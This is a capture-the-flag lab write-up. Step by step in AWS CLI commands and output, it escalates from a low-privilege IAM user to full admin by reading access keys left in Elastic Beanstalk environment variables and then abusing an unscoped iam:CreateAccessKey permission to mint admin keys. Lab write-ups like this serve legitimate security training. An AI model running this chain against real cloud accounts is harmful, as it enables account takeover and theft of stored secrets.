HackSmarter
Beanstalk
- AWS CLI
Target Information
| Property | Value |
|---|---|
| Target | AWS Account 223767249945 (us-east-1) |
| Platform | AWS IAM / Elastic Beanstalk / Secrets Manager |
| Starting point | IAM access key for lab_low_priv_user |
Enumeration — IAM as lab_low_priv_user
aws configure --profile beanstalk-low
Tip: You can deliver temporary credentials to the AWS CLI using your AWS Console session by running the command 'aws login'.
AWS Access Key ID [None]: [LAB ACCESS KEY OMITTED]
AWS Secret Access Key [None]: [LAB SECRET OMITTED]
Default region name [None]: us-east-1
Default output format [None]: json
aws sts get-caller-identity --profile beanstalk-low
{
"UserId": "AIDATIGMRIQMVFJAGXA4K",
"Account": "223767249945",
"Arn": "arn:aws:iam::223767249945:user/lab_low_priv_user"
}
lab_low_priv_user. Checked what this account itself was allowed to do:
aws iam list-attached-user-policies \
--user-name lab_low_priv_user \
--profile beanstalk-low
aws: [ERROR]: An error occurred (AccessDenied) when calling the ListAttachedUserPolicies operation: User: arn:aws:iam::223767249945:user/lab_low_priv_user is not authorized to perform: iam:ListAttachedUserPolicies on resource: user lab_low_priv_user because no identity-based policy allows the iam:ListAttachedUserPolicies action
No IAM read rights at all. Rather than guess at permissions, I checked which services this account could actually touch — starting with Elastic Beanstalk, since the account name suggested that’s the lab’s focus:
aws elasticbeanstalk describe-applications \
--profile beanstalk-low \
--region us-east-1
{
"Applications": [
{
"ApplicationArn": "arn:aws:elasticbeanstalk:us-east-1:223767249945:application/lab-app",
"ApplicationName": "lab-app",
"Description": "Elastic Beanstalk application for insecure secrets scenario",
"DateCreated": "2026-08-19T13:21:54.776000+00:00",
"DateUpdated": "2026-08-19T13:21:54.776000+00:00",
"ConfigurationTemplates": [],
"ResourceLifecycleConfig": {
"VersionLifecycleConfig": {
"MaxCountRule": {
"Enabled": false,
"MaxCount": 200,
"DeleteSourceFromS3": false
},
"MaxAgeRule": {
"Enabled": false,
"MaxAgeInDays": 180,
"DeleteSourceFromS3": false
}
}
}
}
]
}
The app’s own description says “insecure secrets scenario” — worth taking literally. elasticbeanstalk:Describe* was granted, so I kept going down that path instead of the dead-end IAM one.
aws elasticbeanstalk describe-environments \
--profile beanstalk-low \
--region us-east-1
{
"Environments": [
{
"EnvironmentName": "lab-env",
"EnvironmentId": "e-cqz4zujqwf",
"ApplicationName": "lab-app",
"SolutionStackName": "64bit Amazon Linux 2023 v4.13.6 running Python 3.11",
"PlatformArn": "arn:aws:elasticbeanstalk:us-east-1::platform/Python 3.11 running on 64bit Amazon Linux 2023/4.13.6",
"EndpointURL": "awseb-e-c-AWSEBLoa-7ZZA5X5YMD9V-752006981.us-east-1.elb.amazonaws.com",
"CNAME": "lab-env.eba-dejvd3jp.us-east-1.elasticbeanstalk.com",
"DateCreated": "2026-08-19T13:22:07.844000+00:00",
"DateUpdated": "2026-08-19T13:24:53.673000+00:00",
"Status": "Ready",
"AbortableOperationInProgress": false,
"Health": "Grey",
"HealthStatus": "Pending",
"Tier": {
"Name": "WebServer",
"Type": "Standard",
"Version": "1.0"
},
"EnvironmentLinks": [],
"EnvironmentArn": "arn:aws:elasticbeanstalk:us-east-1:223767249945:environment/lab-app/lab-env"
}
]
}
Credential Discovery — Environment Configuration
Elastic Beanstalk environments commonly carry application secrets as plain environment variables, which is exactly what “insecure secrets scenario” was pointing at:
aws elasticbeanstalk describe-configuration-settings \
--application-name lab-app \
--environment-name lab-env \
--profile beanstalk-low \
--region us-east-1 \
--query "ConfigurationSettings[].OptionSettings[?Namespace=='aws:elasticbeanstalk:application:environment']" \
--output table \
--no-cli-pager
----------------------------------------------------------------------------------------------------------------------
| DescribeConfigurationSettings |
+-----------------------------------------------+-----------------------+--------------------------------------------+
| Namespace | OptionName | Value |
+-----------------------------------------------+-----------------------+--------------------------------------------+
| aws:elasticbeanstalk:application:environment | PYTHONPATH | /var/app/venv/staging-LQM1lest/bin |
| aws:elasticbeanstalk:application:environment | SECONDARY_ACCESS_KEY | [LAB ACCESS KEY OMITTED] |
| aws:elasticbeanstalk:application:environment | SECONDARY_SECRET_KEY | [LAB SECRET OMITTED] |
+-----------------------------------------------+-----------------------+--------------------------------------------+
A full IAM access key pair for a second user, sitting in the environment configuration in plaintext.
Lateral Movement — lab_secondary_user
aws configure --profile beanstalk-secondary
Tip: You can deliver temporary credentials to the AWS CLI using your AWS Console session by running the command 'aws login'.
AWS Access Key ID [None]: [LAB ACCESS KEY OMITTED]
AWS Secret Access Key [None]: [LAB SECRET OMITTED]
Default region name [None]: us-east-1
Default output format [None]: json
aws sts get-caller-identity \
--profile beanstalk-secondary \
--no-cli-pager
{
"UserId": "AIDATIGMRIQMQEPWWHUEW",
"Account": "223767249945",
"Arn": "arn:aws:iam::223767249945:user/lab_secondary_user"
}
lab_secondary_user — and unlike the first account, this one’s own IAM policy was readable:
aws iam list-attached-user-policies \
--user-name lab_secondary_user \
--profile beanstalk-secondary \
--no-cli-pager
{
"AttachedPolicies": [
{
"PolicyName": "lab_secondary_policy",
"PolicyArn": "arn:aws:iam::223767249945:policy/lab_secondary_policy"
}
]
}
aws iam get-policy \
--policy-arn arn:aws:iam::223767249945:policy/lab_secondary_policy \
--profile beanstalk-secondary \
--no-cli-pager
{
"Policy": {
"PolicyName": "lab_secondary_policy",
"PolicyId": "ANPATIGMRIQMQJRPSXYVW",
"Arn": "arn:aws:iam::223767249945:policy/lab_secondary_policy",
"Path": "/",
"DefaultVersionId": "v1",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"CreateDate": "2026-08-19T13:21:54+00:00",
"UpdateDate": "2026-08-19T13:21:54+00:00",
"Tags": []
}
}
aws iam get-policy-version \
--policy-arn arn:aws:iam::223767249945:policy/lab_secondary_policy \
--version-id v1 \
--profile beanstalk-secondary \
--no-cli-pager
{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": [
"iam:CreateAccessKey"
],
"Effect": "Allow",
"Resource": "*"
},
{
"Action": [
"iam:ListRoles",
"iam:GetRole",
"iam:ListPolicies",
"iam:GetPolicy",
"iam:ListPolicyVersions",
"iam:GetPolicyVersion",
"iam:ListUsers",
"iam:GetUser",
"iam:ListGroups",
"iam:GetGroup",
"iam:ListAttachedUserPolicies",
"iam:ListAttachedRolePolicies",
"iam:GetRolePolicy"
],
"Effect": "Allow",
"Resource": "*"
}
],
"Version": "2012-10-17"
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2026-08-19T13:21:54+00:00"
}
}
iam:CreateAccessKey on Resource: "*" — not scoped to lab_secondary_user’s own ARN, so this account can mint an access key for any IAM user in the account. Broad IAM read rights too, enough to go looking for the best target.
aws iam list-users \
--profile beanstalk-secondary \
--query 'Users[].{User:UserName,Arn:Arn}' \
--output table \
--no-cli-pager
-----------------------------------------------------------------------------
| ListUsers |
+----------------------------------------------------+----------------------+
| Arn | User |
+----------------------------------------------------+----------------------+
| arn:aws:iam::223767249945:user/lab_admin_user | lab_admin_user |
| arn:aws:iam::223767249945:user/lab_low_priv_user | lab_low_priv_user |
| arn:aws:iam::223767249945:user/lab_secondary_user | lab_secondary_user |
+----------------------------------------------------+----------------------+
lab_admin_user was the obvious target by name. Checked its policy before touching it:
aws iam list-attached-user-policies \
--user-name lab_admin_user \
--profile beanstalk-secondary \
--no-cli-pager
{
"AttachedPolicies": [
{
"PolicyName": "lab_admin_user_policy",
"PolicyArn": "arn:aws:iam::223767249945:policy/lab_admin_user_policy"
}
]
}
aws iam get-policy \
--policy-arn arn:aws:iam::223767249945:policy/lab_admin_user_policy \
--profile beanstalk-secondary \
--no-cli-pager
{
"Policy": {
"PolicyName": "lab_admin_user_policy",
"PolicyId": "ANPATIGMRIQMWMNOLOPZE",
"Arn": "arn:aws:iam::223767249945:policy/lab_admin_user_policy",
"Path": "/",
"DefaultVersionId": "v1",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"CreateDate": "2026-08-19T13:21:54+00:00",
"UpdateDate": "2026-08-19T13:21:54+00:00",
"Tags": []
}
}
aws iam get-policy-version \
--policy-arn arn:aws:iam::223767249945:policy/lab_admin_user_policy \
--version-id v1 \
--profile beanstalk-secondary \
--no-cli-pager
{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": "*",
"Effect": "Allow",
"Resource": "*"
}
],
"Version": "2012-10-17"
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2026-08-19T13:21:54+00:00"
}
}
Action: "*", Resource: "*" — full administrator. That’s the key worth minting.
Privilege Escalation — Minting Keys for lab_admin_user
aws iam create-access-key \
--user-name lab_admin_user \
--profile beanstalk-secondary \
--no-cli-pager
{
"AccessKey": {
"UserName": "lab_admin_user",
"AccessKeyId": "[LAB ACCESS KEY OMITTED]",
"Status": "Active",
"SecretAccessKey": "[LAB SECRET OMITTED]",
"CreateDate": "2026-08-19T13:40:52+00:00"
}
}
aws configure --profile beanstalk-admin
Tip: You can deliver temporary credentials to the AWS CLI using your AWS Console session by running the command 'aws login'.
AWS Access Key ID [None]: [LAB ACCESS KEY OMITTED]
AWS Secret Access Key [None]: [LAB SECRET OMITTED]
Default region name [None]: us-east-1
Default output format [None]: json
aws sts get-caller-identity \
--profile beanstalk-admin \
--no-cli-pager
{
"UserId": "AIDATIGMRIQM5XVBFGK2B",
"Account": "223767249945",
"Arn": "arn:aws:iam::223767249945:user/lab_admin_user"
}
lab_admin_user. Full administrative access to the account.
Post-Exploitation — Secrets Manager
aws secretsmanager list-secrets \
--profile beanstalk-admin \
--region us-east-1 \
--no-cli-pager
{
"SecretList": [
{
"ARN": "arn:aws:secretsmanager:us-east-1:223767249945:secret:lab_final_flag-xkY8pE",
"Name": "lab_final_flag",
"LastChangedDate": "2026-08-19T13:21:54.435000+00:00",
"LastAccessedDate": "2026-08-19T00:00:00+00:00",
"SecretVersionsToStages": {
"terraform-TvpNW8R2nYlTqP9d6NKgCSoMca": [
"AWSCURRENT"
]
},
"CreatedDate": "2026-08-19T13:21:54.283000+00:00"
}
]
}
aws secretsmanager get-secret-value \
--secret-id lab_final_flag \
--profile beanstalk-admin \
--region us-east-1 \
--no-cli-pager
{
"ARN": "arn:aws:secretsmanager:us-east-1:223767249945:secret:lab_final_flag-xkY8pE",
"Name": "lab_final_flag",
"VersionId": "terraform-TvpNW8R2nYlTqP9d6NKgCSoMca",
"SecretString": "FLAG{D0nt_st0r3_s3cr3ts_in_b3@nsta1k!}",
"VersionStages": [
"AWSCURRENT"
],
"CreatedDate": "2026-08-19T13:21:54.431000+00:00"
}
Attack Path Summary
lab_low_priv_user — no IAM read rights, but Elastic Beanstalk Describe* granted
↓
describe-configuration-settings leaks SECONDARY_ACCESS_KEY / SECONDARY_SECRET_KEY as plaintext env vars
↓
lab_secondary_user — policy grants iam:CreateAccessKey on Resource:* (not scoped to self)
↓
iam:ListUsers finds lab_admin_user; its policy is Action:*/Resource:* (full admin)
↓
iam:CreateAccessKey mints a new key pair for lab_admin_user
↓
lab_admin_user — full administrative access
↓
Secrets Manager: lab_final_flag → FLAG{D0nt_st0r3_s3cr3ts_in_b3@nsta1k!}
Credentials Found
| Principal | Credential | Source |
|---|---|---|
| lab_low_priv_user | [LAB ACCESS KEY OMITTED] / [LAB SECRET OMITTED] |
Starting access key for the engagement |
| lab_secondary_user | [LAB ACCESS KEY OMITTED] / [LAB SECRET OMITTED] |
Elastic Beanstalk environment configuration (SECONDARY_ACCESS_KEY / SECONDARY_SECRET_KEY) |
| lab_admin_user | [LAB ACCESS KEY OMITTED] / [LAB SECRET OMITTED] |
Minted via lab_secondary_user’s unscoped iam:CreateAccessKey |
| Flag | Value |
|---|---|
| lab_final_flag | FLAG{D0nt_st0r3_s3cr3ts_in_b3@nsta1k!} |
Tools Used
- AWS CLI